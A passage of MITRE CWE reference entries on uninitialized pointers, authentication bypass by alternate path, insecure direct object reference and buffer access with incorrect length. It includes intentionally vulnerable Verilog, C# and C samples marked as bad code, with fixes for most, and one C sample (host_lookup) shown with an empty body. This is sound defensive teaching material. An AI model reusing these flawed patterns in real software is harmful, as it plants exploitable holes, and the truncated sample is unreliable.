ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Technical Impact: Read Memory If the uninitialized pointer is used in a read operation, an attacker might be able to read sensitive portions of memory.
Availability	Technical Impact: DoS: Crash, Exit, or Restart If the uninitialized pointer references a memory location that is not accessible to the product, or points to a location that is "malformed" (such as NULL) or larger than expected by a read or write operation, then a crash may occur.
Integrity Confidentiality Availability	Technical Impact: Execute Unauthorized Code or Commands If the uninitialized pointer is used in a function call, or points to unexpected data in a write operation, then code execution may be possible.

Observed Examples

Reference	Description
CVE-2010-0211	chain: unchecked return value (CWE-252) leads to free of invalid, uninitialized pointer (CWE-824).
CVE-2009-2768	Pointer in structure is not initialized, leading to NULL pointer dereference (CWE-476) and system crash.
CVE-2009-1721	Free of an uninitialized pointer.
CVE-2009-1415	Improper handling of invalid signatures leads to free of invalid pointer.
CVE-2009-0846	Invalid encoding triggers free of uninitialized pointer.
CVE-2009-0040	Crafted PNG image leads to free of uninitialized pointer.
CVE-2008-2934	Crafted GIF image leads to free of uninitialized pointer.
CVE-2007-4682	Access of uninitialized pointer might lead to code execution.
CVE-2007-4639	Step-based manipulation: invocation of debugging function before the primary initialization function leads to access of an uninitialized pointer and code execution.
CVE-2007-4000	Unchecked return values can lead to a write to an uninitialized pointer.
CVE-2007-2442	zero-length input leads to free of uninitialized pointer.
CVE-2007-1213	Crafted font leads to uninitialized function pointer.
CVE-2006-6143	Uninitialized function pointer in freed memory is invoked
CVE-2006-4175	LDAP server mishandles malformed BER queries, leading to free of uninitialized memory
CVE-2006-0054	Firewall can crash with certain ICMP packets that trigger access of an uninitialized pointer.
CVE-2003-1201	LDAP server does not initialize members of structs, which leads to free of uninitialized pointer if an LDAP request fails.

Detection Methods

Automated Static Analysis

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1399	Comprehensive Categorization: Memory Safety

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Notes

Terminology

Many weaknesses related to pointer dereferences fall under the general term of "memory corruption" or "memory safety." As of September 2010, there is no commonly-used terminology that covers the lower-level variants.

Maintenance

There are close relationships between incorrect pointer dereferences and other weaknesses related to buffer operations. There may not be sufficient community agreement regarding these relationships. Further study is needed to determine when these relationships are chains, composites, perspective/layering, or other types of relationships. As of September 2010, most of the relationships are being captured as chains.

References

[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 7, "Variable Initialization", Page 312. 1st Edition. Addison Wesley. 2006.

Content History

Submissions
Submission Date	Submitter	Organization
2010-09-22 (CWE 1.10, 2010-09-27)	CWE Content Team	MITRE
2010-09-22 (CWE 1.10, 2010-09-27)
Modifications
Modification Date	Modifier	Organization
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated References
2015-12-07	CWE Content Team	MITRE
2015-12-07	updated Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2022-04-28	CWE Content Team	MITRE
2022-04-28	updated Research_Gaps
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Common_Consequences, Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Detection_Factors, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes

Weakness ID: 288

View customized information:

Description

A product requires authentication, but the product has an alternate path or channel that does not require authentication.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	306	Missing Authentication for Critical Function
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	425	Direct Request ('Forced Browsing')
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1299	Missing Protection Mechanism for Alternate Hardware Interface
PeerOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	420	Unprotected Alternate Channel

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1010	Authenticate Actors

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.	284	Improper Access Control

Modes Of Introduction

Phase	Note
Architecture and Design	COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
Architecture and Design	This is often seen in web applications that assume that access to a particular CGI program can only be obtained through a "front" screen, when the supporting programs are directly accessible. But this problem is not just in web apps.

Applicable Platforms

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Access Control	Technical Impact: Bypass Protection Mechanism

Demonstrative Examples

Example 1

Register SECURE_ME is located at address 0xF00. A mirror of this register called COPY_OF_SECURE_ME is at location 0x800F00. The register SECURE_ME is protected from malicious agents and only allows access to select, while COPY_OF_SECURE_ME is not.

Access control is implemented using an allowlist (as indicated by acl_oh_allowlist). The identity of the initiator of the transaction is indicated by the one hot input, incoming_id. This is checked against the acl_oh_allowlist (which contains a list of initiators that are allowed to access the asset).

Though this example is shown in Verilog, it will apply to VHDL as well.

(informative)

Example Language: Verilog

module foo_bar(data_out, data_in, incoming_id, address, clk, rst_n);
output [31:0] data_out;
input [31:0] data_in, incoming_id, address;
input clk, rst_n;
wire write_auth, addr_auth;
reg [31:0] data_out, acl_oh_allowlist, q;
assign write_auth = | (incoming_id & acl_oh_allowlist) ? 1 : 0;
always @*

acl_oh_allowlist <= 32'h8312;

assign addr_auth = (address == 32'hF00) ? 1: 0;
always @ (posedge clk or negedge rst_n)

if (!rst_n)

begin

q <= 32'h0;
data_out <= 32'h0;

end

else

begin

q <= (addr_auth & write_auth) ? data_in: q;
data_out <= q;

end

endmodule

(bad code)

Example Language: Verilog

assign addr_auth = (address == 32'hF00) ? 1: 0;

The bugged line of code is repeated in the Bad example above. Weakness arises from the fact that the SECURE_ME register can be modified by writing to the shadow register COPY_OF_SECURE_ME, the address of COPY_OF_SECURE_ME should also be included in the check. That buggy line of code should instead be replaced as shown in the Good Code Snippet below.

(good code)

Example Language: Verilog

assign addr_auth = (address == 32'hF00 || address == 32'h800F00) ? 1: 0;

Observed Examples

Reference	Description
CVE-2000-1179	Router allows remote attackers to read system logs without authentication by directly connecting to the login screen and typing certain control characters.
CVE-1999-1454	Attackers with physical access to the machine may bypass the password prompt by pressing the ESC (Escape) key.
CVE-1999-1077	OS allows local attackers to bypass the password protection of idled sessions via the programmer's switch or CMD-PWR keyboard sequence, which brings up a debugger that the attacker can use to disable the lock.
CVE-2003-0304	Direct request of installation file allows attacker to create administrator accounts.
CVE-2002-0870	Attackers may gain additional privileges by directly requesting the web management URL.
CVE-2002-0066	Bypass authentication via direct request to named pipe.
CVE-2003-1035	User can avoid lockouts by using an API instead of the GUI to conduct brute force password guessing.

Potential Mitigations

Phase: Architecture and Design

Funnel all access through a single choke point to simplify how users can access a resource. For every access, perform a check to determine if the user has permissions to access the resource.

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	721	OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	947	SFP Secondary Cluster: Authentication Bypass
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1353	OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1364	ICS Communications: Zone Boundary Failures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1396	Comprehensive Categorization: Access Control

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Notes

Relationship

overlaps Unprotected Alternate Channel

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Authentication Bypass by Alternate Path/Channel
OWASP Top Ten 2007	A10	CWE More Specific	Failure to Restrict URL Access

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-127	Directory Indexing
CAPEC-665	Exploitation of Thunderbolt Protection Flaws

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	PLOVER
2006-07-19 (CWE Draft 3, 2006-07-19)
Modifications
Modification Date	Modifier	Organization
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Description, Modes_of_Introduction, Name, Relationships, Observed_Example, Relationship_Notes, Taxonomy_Mappings, Type
2008-11-24	CWE Content Team	MITRE
2008-11-24	updated Observed_Examples
2011-03-29	CWE Content Team	MITRE
2011-03-29	updated Relationships
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Observed_Examples, Related_Attack_Patterns, Relationships
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Potential_Mitigations
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships
2017-05-03	CWE Content Team	MITRE
2017-05-03	updated Related_Attack_Patterns, Relationships
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Applicable_Platforms, Modes_of_Introduction, Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-07-20	CWE Content Team	MITRE
2021-07-20	updated Related_Attack_Patterns
2021-10-28	CWE Content Team	MITRE
2021-10-28	updated Relationships
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated Relationships
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes, Relationships
2023-10-26	CWE Content Team	MITRE
2023-10-26	updated Demonstrative_Examples
Previous Entry Names
Change Date	Previous Entry Name
2008-09-09	Authentication Bypass by Alternate Path/Channel

Weakness ID: 639

View customized information:

Description

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.

Extended Description

Retrieval of a user record occurs in the system based on some key value that is under user control. The key would typically identify a user-related record stored in the system and would be used to lookup that record for presentation to the user. It is likely that an attacker would have to be an authenticated user in the system. However, the authorization process would not properly check the data access operation to ensure that the authenticated user performing the operation has sufficient entitlements to perform the requested data access, hence bypassing any other authorization checks present in the system.

For example, attackers can look at places where user specific data is retrieved (e.g. search screens) and determine whether the key for the item being looked up is controllable externally. The key may be a hidden field in the HTML form field, might be passed as a URL parameter or as an unencrypted cookie variable, then in each of these cases it will be possible to tamper with the key value.

One manifestation of this weakness is when a system uses sequential or otherwise easily-guessable session IDs that would allow one user to easily switch to another user's session and read/modify their data.

Alternate Terms

Insecure Direct Object Reference / IDOR:	The "Insecure Direct Object Reference" term, as described in the OWASP Top Ten, is broader than this CWE because it also covers path traversal (CWE-22). Within the context of vulnerability theory, there is a similarity between the OWASP concept and CWE-706: Use of Incorrectly-Resolved Name or Reference.
Broken Object Level Authorization / BOLA:	BOLA is used in the 2019 OWASP API Security Top 10 and is said to be the same as IDOR.
Horizontal Authorization:	"Horizontal Authorization" is used to describe situations in which two users have the same privilege level, but must be prevented from accessing each other's resources. This is fairly common when using key-based access to resources in a multi-user context.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	863	Incorrect Authorization
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	566	Authorization Bypass Through User-Controlled SQL Primary Key

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1212	Authorization Errors
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	840	Business Logic Errors

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	863	Incorrect Authorization

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1011	Authorize Actors

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.	284	Improper Access Control

Modes Of Introduction

Phase	Note
Architecture and Design	REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Applicable Platforms

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Access Control	Technical Impact: Bypass Protection Mechanism Access control checks for specific user data or functionality can be bypassed.
Access Control	Technical Impact: Gain Privileges or Assume Identity Horizontal escalation of privilege is possible (one user can view/modify information of another user).
Access Control	Technical Impact: Gain Privileges or Assume Identity Vertical escalation of privilege is possible if the user-controlled key is actually a flag that indicates administrator status, allowing the attacker to gain administrative access.

Likelihood Of Exploit

High

Demonstrative Examples

Example 1

The following code uses a parameterized statement, which escapes metacharacters and prevents SQL injection vulnerabilities, to construct and execute a SQL query that searches for an invoice matching the specified identifier [1]. The identifier is selected from a list of all invoices associated with the current authenticated user.

(bad code)

Example Language: C#

...
conn = new SqlConnection(_ConnectionString);
conn.Open();
int16 id = System.Convert.ToInt16(invoiceID.Text);
SqlCommand query = new SqlCommand( "SELECT * FROM invoices WHERE id = @id", conn);
query.Parameters.AddWithValue("@id", id);
SqlDataReader objReader = objCommand.ExecuteReader();
...

The problem is that the developer has not considered all of the possible values of id. Although the interface generates a list of invoice identifiers that belong to the current user, an attacker can bypass this interface to request any desired invoice. Because the code in this example does not check to ensure that the user has permission to access the requested invoice, it will display any invoice, even if it does not belong to the current user.

Observed Examples

Reference	Description
CVE-2021-36539	An educational application does not appropriately restrict file IDs to a particular user. The attacker can brute-force guess IDs, indicating IDOR.

Potential Mitigations

Phase: Architecture and Design

For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.

Phases: Architecture and Design; Implementation

Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.

Phase: Architecture and Design

Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.

Detection Methods

Automated Static Analysis

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	715	OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	723	OWASP Top Ten 2004 Category A2 - Broken Access Control
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	813	OWASP Top Ten 2010 Category A4 - Insecure Direct Object References
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	932	OWASP Top Ten 2013 Category A4 - Insecure Direct Object References
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	945	SFP Secondary Cluster: Insecure Resource Access
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1031	OWASP Top Ten 2017 Category A5 - Broken Access Control
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1396	Comprehensive Categorization: Access Control

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Content History

Submissions
Submission Date	Submitter	Organization
2008-01-30 (CWE Draft 8, 2008-01-30)	Evgeny Lebanidze	Cigital
2008-01-30 (CWE Draft 8, 2008-01-30)
Modifications
Modification Date	Modifier	Organization
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Common_Consequences, Relationships, Type
2008-10-14	CWE Content Team	MITRE
2008-10-14	updated Description
2009-03-10	CWE Content Team	MITRE
2009-03-10	updated Relationships
2009-05-27	CWE Content Team	MITRE
2009-05-27	updated Relationships
2009-10-29	CWE Content Team	MITRE
2009-10-29	updated Common_Consequences
2010-06-21	CWE Content Team	MITRE
2010-06-21	updated Relationships
2011-03-29	CWE Content Team	MITRE
2011-03-29	updated Alternate_Terms, Applicable_Platforms, Description, Name, Potential_Mitigations, Relationships
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences, Relationships
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Relationships
2013-02-21	CWE Content Team	MITRE
2013-02-21	updated Alternate_Terms, Common_Consequences
2013-07-17	CWE Content Team	MITRE
2013-07-17	updated Relationships
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Description, Enabling_Factors_for_Exploitation, Modes_of_Introduction, Relationships
2018-03-27	CWE Content Team	MITRE
2018-03-27	updated Relationships
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships
2020-06-25	CWE Content Team	MITRE
2020-06-25	updated Alternate_Terms
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated Alternate_Terms
2021-10-28	CWE Content Team	MITRE
2021-10-28	updated Relationships
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Detection_Factors, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes
2023-10-26	CWE Content Team	MITRE
2023-10-26	updated Observed_Examples
2024-02-29 (CWE 4.14, 2024-02-29)	CWE Content Team	MITRE
2024-02-29 (CWE 4.14, 2024-02-29)	updated Demonstrative_Examples
Previous Entry Names
Change Date	Previous Entry Name
2011-03-29	Access Control Bypass Through User-Controlled Key

Weakness ID: 805

View customized information:

Description

The product uses a sequential operation to read or write a buffer, but it uses an incorrect length value that causes it to access memory that is outside of the bounds of the buffer.

Extended Description

When the length value exceeds the size of the destination, a buffer overflow could occur.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	806	Buffer Access Using Size of Source Buffer
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	130	Improper Handling of Length Parameter Inconsistency

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1218	Memory Buffer Errors

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer

Modes Of Introduction

Phase	Note
Implementation

Applicable Platforms

Languages

C (Often Prevalent)

C++ (Often Prevalent)

Class: Assembly (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Technical Impact: Read Memory; Modify Memory; Execute Unauthorized Code or Commands Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy. This can often be used to subvert any other security service.
Availability	Technical Impact: Modify Memory; DoS: Crash, Exit, or Restart; DoS: Resource Consumption (CPU) Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.

Likelihood Of Exploit

High

Demonstrative Examples

Example 1

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

(bad code)

Example Language: C

void host_lookup(char *user_supplied_addr){

}

This function allocates a buffer of 64 bytes to store the hostname under the assumption that the maximum length value of hostname is 64 bytes, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then the function may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

Example 2

In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed:

(bad code)

Example Language: C

int returnChunkSize(void *) {

/* if chunk info is valid, return the size of usable memory,

* else, return -1 to indicate an error

*/
...

}
int main() {

...
memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
...

}

Example 3

In the following example, the source character string is copied to the dest character string using the method strncpy.

(bad code)

Example Language: C

...
char source[21] = "the character string";
char dest[12];
strncpy(dest, source, sizeof(source)-1);
...

However, in the call to strncpy the source character string is used within the sizeof call to determine the number of characters to copy. This will create a buffer overflow as the size of the source character string is greater than the dest character string. The dest character string should be used within the sizeof call to ensure that the correct number of characters are copied, as shown below.

(good code)

Example Language: C

...
char source[21] = "the character string";
char dest[12];
strncpy(dest, source, sizeof(dest)-1);
...

Example 4

In this example, the method outputFilenameToLog outputs a filename to a log file. The method arguments include a pointer to a character string containing the file name and an integer for the number of characters in the string. The filename is copied to a buffer where the buffer size is set to a maximum size for inputs to the log file. The method then calls another method to save the contents of the buffer to the log file.

(bad code)

Example Language: C

#define LOG_INPUT_SIZE 40

// saves the file name to a log file
int outputFilenameToLog(char *filename, int length) {

int success;

// buffer with size set to maximum size for input to log file
char buf[LOG_INPUT_SIZE];

// copy filename to buffer
strncpy(buf, filename, length);

// save to log file
success = saveToLogFile(buf);

return success;

}

However, in this case the string copy method, strncpy, mistakenly uses the length method argument to determine the number of characters to copy rather than using the size of the local character string, buf. This can lead to a buffer overflow if the number of characters contained in character string pointed to by filename is larger then the number of characters allowed for the local character string. The string copy method should use the buf character string within a sizeof call to ensure that only characters up to the size of the buf array are copied to avoid a buffer overflow, as shown below.

(good code)

Example Language: C

...
// copy filename to buffer
strncpy(buf, filename, sizeof(buf)-1);
...

Example 5

Windows provides the MultiByteToWideChar(), WideCharToMultiByte(), UnicodeToBytes(), and BytesToUnicode() functions to convert between arbitrary multibyte (usually ANSI) character strings and Unicode (wide character) strings. The size arguments to these functions are specified in different units, (one in bytes, the other in characters) making their use prone to error.

In a multibyte character string, each character occupies a varying number of bytes, and therefore the size of such strings is most easily specified as a total number of bytes. In Unicode, however, characters are always a fixed size, and string lengths are typically given by the number of characters they contain. Mistakenly specifying the wrong units in a size argument can lead to a buffer overflow.

The following function takes a username specified as a multibyte string and a pointer to a structure for user information and populates the structure with information about the specified user. Since Windows authentication uses Unicode for usernames, the username argument is first converted from a multibyte string to a Unicode string.

(bad code)

Example Language: C

void getUserInfo(char *username, struct _USER_INFO_2 info){

WCHAR unicodeUser[UNLEN+1];
MultiByteToWideChar(CP_ACP, 0, username, -1, unicodeUser, sizeof(unicodeUser));
NetUserGetInfo(NULL, unicodeUser, 2, (LPBYTE *)&info);

}

This function incorrectly passes the size of unicodeUser in bytes instead of characters. The call to MultiByteToWideChar() can therefore write up to (UNLEN+1)*sizeof(WCHAR) wide characters, or (UNLEN+1)*sizeof(WCHAR)*sizeof(WCHAR) bytes, to the unicodeUser array, which has only (UNLEN+1)*sizeof(WCHAR) bytes allocated.

If the username string contains more than UNLEN characters, the call to MultiByteToWideChar() will overflow the buffer unicodeUser.

Observed Examples

Reference	Description
CVE-2011-1959	Chain: large length value causes buffer over-read (CWE-126)
CVE-2011-1848	Use of packet length field to make a calculation, then copy into a fixed-size buffer
CVE-2011-0105	Chain: retrieval of length value from an uninitialized memory location
CVE-2011-0606	Crafted length value in document reader leads to buffer overflow
CVE-2011-0651	SSL server overflow when the sum of multiple length fields exceeds a given value
CVE-2010-4156	Language interpreter API function doesn't validate length argument, leading to information exposure

Potential Mitigations

Phase: Requirements

Strategy: Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer.

Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Examples include the Safe C String Library (SafeStr) by Messier and Viega [REF-57], and the Strsafe.h library from Microsoft [REF-56]. These libraries provide safer versions of overflow-prone string-handling functions.

Note: This is not a complete solution, since many buffer overflows are not related to strings.

Phases: Operation; Build and Compilation

Strategy: Environment Hardening

Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include: the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice, which provide various mechanisms including canary-based detection and range/index checking.

D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail.

Effectiveness: Defense in Depth

Note:

This is not necessarily a complete solution, since these mechanisms only detect certain types of overflows. In addition, the result is still a denial of service, since the typical response is to exit the application.

Phase: Implementation

Consider adhering to the following rules when allocating and managing an application's memory:

Double check that the buffer is as large as specified.

When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string.

Check buffer boundaries if accessing the buffer in a loop and make sure there is no danger of writing past the allocated space.

If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phases: Operation; Build and Compilation

Strategy: Environment Hardening

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.

Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking.

For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335].

Effectiveness: Defense in Depth

Note: These techniques do not provide a complete solution. For instance, exploits frequently use a bug that discloses memory addresses in order to maximize reliability of code execution [REF-1337]. It has also been shown that a side-channel attack can bypass ASLR [REF-1333]

Phase: Operation

Strategy: Environment Hardening

Use a CPU and operating system that offers Data Execution Protection (using hardware NX or XD bits) or the equivalent techniques that simulate this feature in software, such as PaX [REF-60] [REF-61]. These techniques ensure that any instruction executed is exclusively at a memory address that is part of the code segment.

For more information on these techniques see D3-PSEP (Process Segment Execution Prevention) from D3FEND [REF-1336].

Effectiveness: Defense in Depth

